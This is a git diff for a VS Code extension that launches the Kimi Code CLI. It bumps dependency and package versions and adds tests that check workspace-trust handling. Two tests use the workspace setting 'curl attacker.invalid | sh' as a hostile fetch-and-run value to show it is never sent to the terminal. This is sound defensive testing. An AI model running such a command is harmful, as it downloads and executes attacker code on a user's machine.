- "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==",
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz",
+ "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==",
"dev": true,
"funding": [
{
@@ -4577,9 +4577,9 @@
"license": "MIT"
},
"node_modules/undici": {
- "version": "7.28.0",
- "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz",
- "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==",
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/undici/-/undici-7.29.0.tgz",
+ "integrity": "sha512-IDxfleLmmbSskfWSUATiN1nfn2rDuvnMOqb5CWR92iIfojA0Ud+ulOAAEQ57LPr9rWmsreUyf5lwyao+7GNNVw==",
"dev": true,
"license": "MIT",
"engines": {
diff --git a/package.json b/package.json
index 750097e..8277159 100644
--- a/package.json
+++ b/package.json
@@ -3,7 +3,7 @@
"displayName": "Kimi Code CLI Launcher — Run Kimi in VS Code",
"description": "Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.",
"publisher": "mikesoft",
- "version": "0.1.4",
+ "version": "0.1.5",
"repository": {
"type": "git",
"url": "https://github.com/TheStreamCode/vscode-kimi-code-cli-launcher.git"
diff --git a/test/extension.test.js b/test/extension.test.js
new file mode 100644
index 0000000..955a5eb
--- /dev/null
+++ b/test/extension.test.js
@@ -0,0 +1,121 @@
+const test = require('node:test');
+const assert = require('node:assert/strict');
+const Module = require('node:module');
+
+function loadExtensionWithFakeVscode({ isTrusted, inspection }) {
+ const commandHandlers = new Map();
+ const calls = {
+ configurationRequests: 0,
+ createdTerminals: [],
+ sentCommands: [],
+ warnings: [],
+ };
+ const fakeVscode = {
+ ViewColumn: { Beside: 2 },
+ commands: {
+ registerCommand(commandId, handler) {
+ commandHandlers.set(commandId, handler);
+ return { dispose() {} };
+ },
+ async executeCommand() {},
+ },
+ workspace: {
+ isTrusted,
+ workspaceFolders: [{ uri: 'workspace-a' }],
+ getConfiguration() {
+ calls.configurationRequests += 1;
+ return {
+ inspect() {
+ return inspection;
+ },
+ get(_key, fallback) {
+ return fallback;
+ },
+ };
+ },
+ getWorkspaceFolder() {
+ return undefined;
+ },
+ },
+ window: {
+ activeTextEditor: undefined,
+ async showWarningMessage(message) {
+ calls.warnings.push(message);
+ return undefined;
+ },
+ createTerminal(options) {
+ calls.createdTerminals.push(options);
+ return {
+ show() {},
+ sendText(command, addNewLine) {
+ calls.sentCommands.push({ command, addNewLine });
+ },
+ };
+ },
+ async showErrorMessage() {},
+ setStatusBarMessage() {},
+ },
+ };
+ const extensionPath = require.resolve('../out/extension.js');
+ const originalLoad = Module._load;
+
+ delete require.cache[extensionPath];
+ Module._load = function loadWithFakeVscode(request, parent, isMain) {
+ return request === 'vscode' ? fakeVscode : originalLoad.call(this, request, parent, isMain);
+ };
+
+ let extension;
+ try {
+ extension = require(extensionPath);
+ } finally {
+ Module._load = originalLoad;
+ }
+
+ const context = {
+ extension: { id: 'mikesoft.vscode-kimi-code-cli-launcher' },
+ subscriptions: [],
+ };
+ extension.activate(context);
+
+ return { calls, commandHandlers };
+}
+
+test('programmatic launch remains blocked while the workspace is untrusted', async () => {
+ const { calls, commandHandlers } = loadExtensionWithFakeVscode({
+ isTrusted: false,
+ inspection: {
+ defaultValue: 'kimi',
+ globalValue: 'kimi --continue',
+ workspaceValue: 'curl attacker.invalid | sh',
+ },
+ });
+ const openCli = commandHandlers.get('kimiCodeCliLauncher.openCli');
+
+ assert.equal(typeof openCli, 'function');
+ await openCli();
+
+ assert.equal(calls.warnings.length, 1);
+ assert.equal(calls.configurationRequests, 0);
+ assert.deepEqual(calls.createdTerminals, []);
+ assert.deepEqual(calls.sentCommands, []);
+});
+
+test('trusted launch sends only the user-level command to a fresh terminal', async () => {
+ const { calls, commandHandlers } = loadExtensionWithFakeVscode({
+ isTrusted: true,
+ inspection: {
+ defaultValue: 'kimi',
+ globalValue: 'kimi --continue',
+ workspaceValue: 'curl attacker.invalid | sh',
+ },
+ });
+ const openCli = commandHandlers.get('kimiCodeCliLauncher.openCli');
+
+ assert.equal(typeof openCli, 'function');
+ await openCli();
+
+ assert.equal(calls.warnings.length, 0);
+ assert.equal(calls.configurationRequests, 1);
+ assert.equal(calls.createdTerminals.length, 1);
+ assert.deepEqual(calls.sentCommands, [{ command: 'kimi --continue', addNewLine: true }]);
+});
diff --git a/test/metadata.test.js b/test/metadata.test.js
index 3ff2ce1..801a936 100644
--- a/test/metadata.test.js
+++ b/test/metadata.test.js
@@ -35,7 +35,7 @@ test('package metadata exposes the stable launcher interface', () => {
'Launch Kimi Code CLI from the VS Code editor toolbar in one click. Opens a fresh side terminal in your workspace. Unofficial; Windows, macOS and Linux.',
);
assert.equal(packageJson.publisher, 'mikesoft');
- assert.equal(packageJson.version, '0.1.4');
+ assert.equal(packageJson.version, '0.1.5');
assert.equal(JSON.parse(readText('package-lock.json')).version, packageJson.version);
assert.equal(packageJson.private, true);
assert.equal(packageJson.icon, 'media/icon.png');
@@ -89,11 +89,14 @@ test('runtime stays a transparent terminal launcher', () => {
test('blue avatar assets are packaged at suitable resolutions', () => {
const marketplaceIcon = readPngSize('media/icon.png');
+ const launcherDemo = readPngSize('media/launcher-demo.png');
const lightMark = readText('media/launcher-mark-light.svg');
const darkMark = readText('media/launcher-mark-dark.svg');
assert.equal(marketplaceIcon.width, 512);
assert.equal(marketplaceIcon.height, 512);
+ assert.equal(launcherDemo.width, 1440);
+ assert.equal(launcherDemo.height, 900);
for (const mark of [lightMark, darkMark]) {
assert.match(mark, /
+ 
+
+ 
+ 
+
+